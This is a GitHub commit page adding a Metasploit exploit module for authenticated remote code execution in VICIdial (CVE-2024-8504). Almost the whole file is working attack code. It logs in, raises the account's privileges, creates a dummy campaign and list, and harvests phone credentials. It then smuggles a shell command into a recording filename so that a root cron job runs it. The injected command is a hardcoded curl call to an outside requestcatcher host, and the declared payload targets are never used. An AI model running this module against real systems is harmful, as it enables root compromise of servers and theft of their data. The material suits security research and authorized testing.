Skip to content

Commit 17838e6

Browse files
committed
Add VICIdial Authenticated RCE module (CVE-2024-8504)
1 parent 1b6ac0d commit 17838e6

File tree

1 file changed

+391
-0
lines changed

1 file changed

+391
-0
lines changed
Lines changed: 391 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,391 @@
1+
##
2+
# This module requires Metasploit: https://metasploit.com/download
3+
# Current source: https://github.com/rapid7/metasploit-framework
4+
##
5+
6+
class MetasploitModule < Msf::Exploit::Remote
7+
include Msf::Exploit::Remote::HttpClient
8+
9+
def initialize(info = {})
10+
super(
11+
update_info(
12+
info,
13+
'Name' => 'VICIdial Authenticated Remote Code Execution',
14+
'Description' => %q{
15+
An attacker with authenticated access to VICIdial as an "agent"
16+
can execute arbitrary shell commands as the "root" user. This
17+
attack can be chained with CVE-2024-8503 to execute arbitrary
18+
shell commands starting from an unauthenticated perspective.
19+
},
20+
'Author' => [
21+
'Valentin Lobstein', # Metasploit Module
22+
'Jaggar Henry of KoreLogic, Inc.' # Vulnerability Discovery
23+
],
24+
'License' => MSF_LICENSE,
25+
'References' => [
26+
['CVE', '2024-8504'],
27+
['URL', 'https://korelogic.com/Resources/Advisories/KL-001-2024-012.txt']
28+
],
29+
'DisclosureDate' => '2024-09-10',
30+
'Platform' => %w[unix linux],
31+
'Arch' => %w[ARCH_CMD],
32+
'Targets' => [
33+
[
34+
'Unix/Linux Command Shell', {
35+
'Platform' => %w[unix linux],
36+
'Arch' => ARCH_CMD
37+
# tested with cmd/linux/http/x64/meterpreter/reverse_tcp
38+
}
39+
],
40+
[
41+
'PHP Command Shell', {
42+
'Platform' => 'php',
43+
'Arch' => ARCH_PHP
44+
# tested with php/meterpreter/reverse_tcp
45+
}
46+
]
47+
],
48+
'DefaultTarget' => 0,
49+
'Notes' => {
50+
'Stability' => [CRASH_SAFE],
51+
'SideEffects' => [IOC_IN_LOGS],
52+
'Reliability' => [REPEATABLE_SESSION]
53+
},
54+
'Payload' => {
55+
'BadChars' => '/'
56+
}
57+
)
58+
)
59+
60+
register_options([
61+
OptString.new('USERNAME', [true, 'Administrator username']),
62+
OptString.new('PASSWORD', [true, 'Administrator password']),
63+
])
64+
end
65+
66+
def exploit
67+
username = datastore['USERNAME']
68+
password = datastore['PASSWORD']
69+
70+
session = Rex::Proto::Http::Client.new(datastore['RHOST'], datastore['RPORT'])
71+
session.connect
72+
73+
# Authenticate using administrator credentials
74+
credentials = "#{username}:#{password}"
75+
credentials_base64 = Rex::Text.encode_base64(credentials)
76+
auth_header = "Basic #{credentials_base64}"
77+
78+
target_uri = normalize_uri(datastore['TARGETURI'], 'vicidial', 'admin.php')
79+
request_params = { 'ADD' => '3', 'user' => username }
80+
request_headers = { 'Authorization' => auth_header }
81+
82+
res = send_request_cgi({
83+
'uri' => target_uri,
84+
'method' => 'GET',
85+
'vars_get' => request_params,
86+
'headers' => request_headers,
87+
'keep_cookies' => true
88+
})
89+
90+
unless res&.code == 200
91+
print_error('Failed to authenticate with credentials. Maybe hashing is enabled?')
92+
return
93+
end
94+
95+
print_good("Authenticated successfully as user '#{username}'")
96+
97+
# Update user settings to increase privileges beyond default administrator
98+
user_settings_body = {
99+
'ADD' => '4A', 'custom_fields_modify' => '0', 'user' => username, 'DB' => '0', 'pass' => password,
100+
'force_change_password' => 'N', 'full_name' => 'KoreLogic', 'user_level' => '9',
101+
'user_group' => 'ADMIN', 'phone_login' => 'KoreLogic', 'phone_pass' => 'KoreLogic',
102+
'active' => 'Y', 'voicemail_id' => '', 'email' => '', 'mobile_number' => '', 'user_code' => '',
103+
'user_location' => '', 'user_group_two' => '', 'territory' => '', 'user_nickname' => '',
104+
'user_new_lead_limit' => '-1', 'agent_choose_ingroups' => '1', 'agent_choose_blended' => '1',
105+
'hotkeys_active' => '0', 'scheduled_callbacks' => '1', 'agentonly_callbacks' => '0',
106+
'next_dial_my_callbacks' => 'NOT_ACTIVE', 'agentcall_manual' => '0', 'manual_dial_filter' => 'DISABLED',
107+
'agentcall_email' => '0', 'agentcall_chat' => '0', 'vicidial_recording' => '1', 'vicidial_transfers' => '1',
108+
'closer_default_blended' => '0', 'user_choose_language' => '0', 'selected_language' => 'default+English',
109+
'vicidial_recording_override' => 'DISABLED', 'mute_recordings' => 'DISABLED',
110+
'alter_custdata_override' => 'NOT_ACTIVE', 'alter_custphone_override' => 'NOT_ACTIVE',
111+
'agent_shift_enforcement_override' => 'ALL', 'agent_call_log_view_override' => 'Y',
112+
'hide_call_log_info' => 'Y', 'agent_lead_search' => 'NOT_ACTIVE', 'lead_filter_id' => 'NONE',
113+
'user_hide_realtime' => '0', 'allow_alerts' => '0', 'preset_contact_search' => 'NOT_ACTIVE',
114+
'max_inbound_calls' => '0', 'max_inbound_filter_enabled' => '0', 'max_inbound_filter_min_sec' => '-1',
115+
'inbound_credits' => '-1', 'max_hopper_calls' => '0', 'max_hopper_calls_hour' => '0',
116+
'wrapup_seconds_override' => '-1', 'ready_max_logout' => '-1', 'status_group_id' => '',
117+
'campaign_js_rank_select' => '', 'campaign_js_grade_select' => '', 'ingroup_js_rank_select' => '',
118+
'ingroup_js_grade_select' => '', 'RANK_AGENTDIRECT' => '0', 'GRADE_AGENTDIRECT' => '10',
119+
'LIMIT_AGENTDIRECT' => '-1', 'WEB_AGENTDIRECT' => '', 'RANK_AGENTDIRECT_CHAT' => '0',
120+
'GRADE_AGENTDIRECT_CHAT' => '10', 'LIMIT_AGENTDIRECT_CHAT' => '-1', 'WEB_AGENTDIRECT_CHAT' => '',
121+
'custom_one' => '', 'custom_two' => '', 'custom_three' => '', 'custom_four' => '', 'custom_five' => '',
122+
'qc_enabled' => '0', 'qc_user_level' => '1', 'qc_pass' => '0', 'qc_finish' => '0', 'qc_commit' => '0',
123+
'hci_enabled' => '0', 'realtime_block_user_info' => '0', 'admin_hide_lead_data' => '0',
124+
'admin_hide_phone_data' => '0', 'ignore_group_on_search' => '0', 'user_admin_redirect_url' => '',
125+
'view_reports' => '1', 'access_recordings' => '0', 'alter_agent_interface_options' => '1',
126+
'modify_users' => '1', 'change_agent_campaign' => '1', 'delete_users' => '1', 'modify_usergroups' => '1',
127+
'delete_user_groups' => '1', 'modify_lists' => '1', 'delete_lists' => '1', 'load_leads' => '1',
128+
'modify_leads' => '1', 'export_gdpr_leads' => '0', 'download_lists' => '1', 'export_reports' => '1',
129+
'delete_from_dnc' => '1', 'modify_campaigns' => '1', 'campaign_detail' => '1', 'modify_dial_prefix' => '1',
130+
'delete_campaigns' => '1', 'modify_ingroups' => '1', 'delete_ingroups' => '1', 'modify_inbound_dids' => '1',
131+
'delete_inbound_dids' => '1', 'modify_custom_dialplans' => '1', 'modify_remoteagents' => '1',
132+
'delete_remote_agents' => '1', 'modify_scripts' => '1', 'delete_scripts' => '1', 'modify_filters' => '1',
133+
'delete_filters' => '1', 'ast_admin_access' => '1', 'ast_delete_phones' => '1', 'modify_call_times' => '1',
134+
'delete_call_times' => '1', 'modify_servers' => '1', 'modify_shifts' => '1', 'modify_phones' => '1',
135+
'modify_carriers' => '1', 'modify_email_accounts' => '0', 'modify_labels' => '1', 'modify_colors' => '1',
136+
'modify_languages' => '0', 'modify_statuses' => '1', 'modify_voicemail' => '1', 'modify_audiostore' => '1',
137+
'modify_moh' => '1', 'modify_tts' => '1', 'modify_contacts' => '1', 'callcard_admin' => '1',
138+
'modify_auto_reports' => '0', 'add_timeclock_log' => '1', 'modify_timeclock_log' => '1',
139+
'delete_timeclock_log' => '1', 'manager_shift_enforcement_override' => '1', 'pause_code_approval' => '1',
140+
'admin_cf_show_hidden' => '0', 'modify_ip_lists' => '0', 'ignore_ip_list' => '0',
141+
'two_factor_override' => 'NOT_ACTIVE', 'vdc_agent_api_access' => '1', 'api_list_restrict' => '0',
142+
'api_allowed_functions%5B%5D' => 'ALL_FUNCTIONS', 'api_only_user' => '0', 'modify_same_user_level' => '1',
143+
'download_invalid_files' => '1', 'alter_admin_interface_options' => '1', 'SUBMIT' => 'SUBMIT'
144+
}
145+
146+
send_request_cgi({
147+
'uri' => target_uri,
148+
'method' => 'POST',
149+
'headers' => request_headers,
150+
'vars_post' => user_settings_body,
151+
'keep_cookies' => true
152+
})
153+
154+
print_good('Updated user settings to increase privileges')
155+
156+
# Update system settings without clobbering existing configuration
157+
res = send_request_cgi({
158+
'uri' => target_uri,
159+
'method' => 'GET',
160+
'headers' => request_headers,
161+
'vars_get' => { 'ADD' => Rex::Text.rand_text_numeric(10, 15) },
162+
'keep_cookies' => true
163+
})
164+
unless res
165+
print_error('Failed to fetch system settings')
166+
return
167+
end
168+
169+
system_settings_body = {}
170+
res.get_html_document.css('input').each do |input_tag|
171+
system_settings_body[input_tag['name']] = input_tag['value']
172+
end
173+
174+
res.get_html_document.css('select').each do |select_tag|
175+
selected_tag = select_tag.at_css('option[selected]')
176+
next unless selected_tag
177+
178+
system_settings_body[select_tag['name']] = selected_tag.text
179+
end
180+
181+
system_settings_body['outbound_autodial_active'] = '0'
182+
183+
send_request_cgi({
184+
'uri' => target_uri,
185+
'method' => 'POST',
186+
'headers' => request_headers,
187+
'vars_post' => system_settings_body,
188+
'keep_cookies' => true
189+
})
190+
191+
print_good('Updated system settings')
192+
193+
# Create dummy campaign
194+
campaign_settings_body = {
195+
'ADD' => '21', 'park_ext' => '', 'campaign_id' => '313373', 'campaign_name' => 'korelogic_campaign',
196+
'campaign_description' => '', 'user_group' => '---ALL---', 'active' => 'Y', 'park_file_name' => '',
197+
'web_form_address' => '', 'allow_closers' => 'Y', 'hopper_level' => '1', 'auto_dial_level' => '0',
198+
'next_agent_call' => 'random', 'local_call_time' => '12pm-5pm', 'voicemail_ext' => '', 'script_id' => '',
199+
'get_call_launch' => 'NONE', 'SUBMIT' => 'SUBMIT'
200+
}
201+
202+
send_request_cgi({
203+
'uri' => target_uri,
204+
'method' => 'POST',
205+
'headers' => request_headers,
206+
'vars_post' => campaign_settings_body,
207+
'keep_cookies' => true
208+
})
209+
210+
print_good('Created dummy campaign "korelogic_campaign"')
211+
212+
# Update dummy campaign
213+
update_campaign_body = {
214+
'ADD' => '41', 'campaign_id' => '313373', 'old_campaign_allow_inbound' => 'Y',
215+
'campaign_name' => 'korelogic_campaign', 'active' => 'Y', 'dial_status' => '', 'lead_order' => 'DOWN',
216+
'list_order_mix' => 'DISABLED', 'lead_filter_id' => 'NONE', 'no_hopper_leads_logins' => 'Y',
217+
'hopper_level' => '1', 'reset_hopper' => 'N', 'dial_method' => 'RATIO', 'auto_dial_level' => '1',
218+
'adaptive_intensity' => '0', 'SUBMIT' => 'SUBMIT', 'form_end' => 'END'
219+
}
220+
221+
send_request_cgi({
222+
'uri' => target_uri,
223+
'method' => 'POST',
224+
'headers' => request_headers,
225+
'vars_post' => update_campaign_body,
226+
'keep_cookies' => true
227+
})
228+
229+
print_good('Updated dummy campaign settings')
230+
231+
# Create dummy list
232+
list_settings_body = {
233+
'ADD' => '211', 'list_id' => '313374', 'list_name' => 'korelogic_list', 'list_description' => '',
234+
'campaign_id' => '313373', 'active' => 'Y', 'SUBMIT' => 'SUBMIT'
235+
}
236+
237+
send_request_cgi({
238+
'uri' => target_uri,
239+
'method' => 'POST',
240+
'headers' => request_headers,
241+
'vars_post' => list_settings_body,
242+
'keep_cookies' => true
243+
})
244+
245+
print_good('Created dummy list for campaign')
246+
247+
# Fetch credentials for a phone login
248+
res = send_request_cgi({
249+
'uri' => target_uri,
250+
'method' => 'GET',
251+
'headers' => request_headers,
252+
'vars_get' => { 'ADD' => '10000000000' },
253+
'keep_cookies' => true
254+
})
255+
256+
unless res
257+
print_error('Failed to fetch phone credentials')
258+
return
259+
end
260+
261+
phone_uri_path = res.get_html_document.at_css('a:contains("MODIFY")')['href']
262+
263+
res = send_request_cgi({
264+
'uri' => normalize_uri(datastore['TARGETURI'], phone_uri_path),
265+
'method' => 'GET',
266+
'headers' => request_headers,
267+
'keep_cookies' => true
268+
})
269+
270+
unless res
271+
print_error('Failed to fetch phone credentials')
272+
return
273+
end
274+
275+
phone_extension = res.get_html_document.at_css('input[name="extension"]')['value']
276+
phone_password = res.get_html_document.at_css('input[name="pass"]')['value']
277+
recording_extension = res.get_html_document.at_css('input[name="recording_exten"]')['value']
278+
279+
print_good("Found phone credentials: #{phone_extension}:#{phone_password}")
280+
281+
# Make POST request to /agc/vdc_db_query.php to retrieve hidden input fields
282+
# (this is the fixed bug, dynamic field names need to be retrieved)
283+
vdc_db_query_body = {
284+
'user' => username,
285+
'pass' => password,
286+
'ACTION' => 'LogiNCamPaigns',
287+
'format' => 'html'
288+
}
289+
290+
res = send_request_cgi({
291+
'uri' => normalize_uri(datastore['TARGETURI'], 'agc', 'vdc_db_query.php'),
292+
'method' => 'POST',
293+
'vars_post' => vdc_db_query_body,
294+
'keep_cookies' => true
295+
})
296+
297+
unless res
298+
print_error('Failed to retrieve hidden input fields')
299+
return
300+
end
301+
302+
mgr_login_name = res.get_html_document.at_css('input[name^="MGR_login"]')['name']
303+
mgr_pass_name = res.get_html_document.at_css('input[name^="MGR_pass"]')['name']
304+
305+
print_good("Retrieved dynamic field names: #{mgr_login_name}, #{mgr_pass_name}")
306+
307+
# Authenticate to agent portal with phone credentials
308+
manager_login_body = {
309+
'DB' => '0', 'JS_browser_height' => '1313', 'JS_browser_width' => '2560', 'phone_login' => phone_extension,
310+
'phone_pass' => phone_password, 'LOGINvarONE' => '', 'LOGINvarTWO' => '', 'LOGINvarTHREE' => '', 'LOGINvarFOUR' => '',
311+
'LOGINvarFIVE' => '', 'hide_relogin_fields' => '', 'VD_login' => username, 'VD_pass' => password,
312+
'MGR_override' => '1', 'relogin' => 'YES',
313+
mgr_login_name => username, mgr_pass_name => password, 'SUBMIT' => 'SUBMIT'
314+
}
315+
316+
send_request_cgi({
317+
'uri' => normalize_uri(datastore['TARGETURI'], 'agc', 'vicidial.php'),
318+
'method' => 'POST',
319+
'headers' => request_headers,
320+
'vars_post' => manager_login_body,
321+
'keep_cookies' => true
322+
})
323+
324+
print_good('Entered "manager" credentials to override shift enforcement')
325+
326+
agent_login_body = {
327+
'DB' => '0', 'JS_browser_height' => '1313', 'JS_browser_width' => '2560', 'admin_test' => '', 'LOGINvarONE' => '',
328+
'LOGINvarTWO' => '', 'LOGINvarTHREE' => '', 'LOGINvarFOUR' => '', 'LOGINvarFIVE' => '', 'phone_login' => phone_extension,
329+
'phone_pass' => phone_password, 'VD_login' => username, 'VD_pass' => password, 'VD_campaign' => '313373'
330+
}
331+
332+
res = send_request_cgi({
333+
'uri' => normalize_uri(datastore['TARGETURI'], 'agc', 'vicidial.php'),
334+
'method' => 'POST',
335+
'headers' => request_headers,
336+
'vars_post' => agent_login_body,
337+
'keep_cookies' => true
338+
})
339+
340+
print_good('Authenticated as agent using phone credentials')
341+
342+
# Insert malicious recording
343+
session_name = res.get_html_document.at_css("script:contains('var session_name =')").text.match(/var session_name = '([a-zA-Z0-9_]+)';/)[1]
344+
session_id = res.get_html_document.at_css("script:contains('var session_id =')").text.match(/var session_id = '([0-9]+)';/)[1]
345+
346+
# hex_encoded_payload = "curl balno.requestcatcher.com".unpack('H*').first
347+
# formatted_payload = hex_encoded_payload.scan(/../).map { |x| "\\\\x#{x}" }.join
348+
command = 'curl balgo.requestcatcher.com'
349+
print_status("Payload: #{command}")
350+
malicious_filename = "3133731337$(#{command})"
351+
352+
record1_body = {
353+
'server_ip' => datastore['RHOSTS'], 'session_name' => session_name, 'user' => username, 'pass' => password,
354+
'ACTION' => 'MonitorConf', 'format' => 'text', 'channel' => "Local/#{recording_extension}@default", 'filename' => malicious_filename,
355+
'exten' => recording_extension, 'ext_context' => 'default', 'lead_id' => '', 'ext_priority' => '1', 'FROMvdc' => 'YES',
356+
'uniqueid' => '', 'FROMapi' => ''
357+
}
358+
359+
res = send_request_cgi({
360+
'uri' => normalize_uri(datastore['TARGETURI'], 'agc', 'manager_send.php'),
361+
'method' => 'POST',
362+
'headers' => request_headers,
363+
'vars_post' => record1_body,
364+
'keep_cookies' => true
365+
})
366+
367+
recording_id = res.body.match(/RecorDing_ID: ([0-9]+)/)[1]
368+
369+
# Stop malicious recording to prevent file size from growing
370+
record2_body = {
371+
'server_ip' => datastore['RHOSTS'], 'session_name' => session_name, 'user' => username,
372+
'pass' => password, 'ACTION' => 'StopMonitorConf', 'format' => 'text', 'channel' => "Local/#{recording_extension}@default",
373+
'filename' => "ID:#{recording_id}", 'exten' => session_id, 'ext_context' => 'default', 'lead_id' => '', 'ext_priority' => '1',
374+
'FROMvdc' => 'YES', 'uniqueid' => '', 'FROMapi' => ''
375+
}
376+
377+
send_request_cgi({
378+
'uri' => normalize_uri(datastore['TARGETURI'], 'agc', 'conf_exten_check.php'),
379+
'method' => 'POST',
380+
'headers' => request_headers,
381+
'vars_post' => record2_body,
382+
'keep_cookies' => true
383+
})
384+
385+
print_good('Stopped malicious recording to prevent file size from growing')
386+
387+
# Wait for 2 minutes to allow the cron job to execute the payload
388+
print_status('Waiting for 2 minutes to allow the cron job to execute the payload...')
389+
Rex.sleep(120)
390+
end
391+
end

0 commit comments

Comments
 (0)